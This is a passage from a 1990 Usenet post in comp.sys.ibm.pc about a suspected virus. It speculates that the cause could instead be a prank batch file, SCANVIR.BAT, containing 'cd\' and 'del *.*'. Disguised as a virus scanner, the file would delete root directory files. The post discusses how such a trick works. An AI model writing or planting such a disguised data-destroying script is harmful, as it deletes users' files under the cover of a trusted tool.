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From: akcs.amparsonjr@vpnet.UUCP (Anthony M. Parson, Jr.)
Newsgroups: comp.sys.ibm.pc
Subject: Re: Possible lurking virus problemer
Message-ID: <25c5f095:4312.2comp.sys.ibm.pc;1@vpnet.UUCP>
Date: 31 Jan 90 17:00:07 GMT
References: <21698@unix.cis.pitt.edu> <25BAA681.12525@maccs.dcss.mcmaster.ca>
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Instead of a virus, what about just a "nasty" practical joke, where:

SCANVIR.BAT consists of
cd\
del *.*

When a user types SCANVIR, instead of running SCANVIR.COM or SCANVIR.EXE
they will instead delete all root dir files.  It could be a simple explana-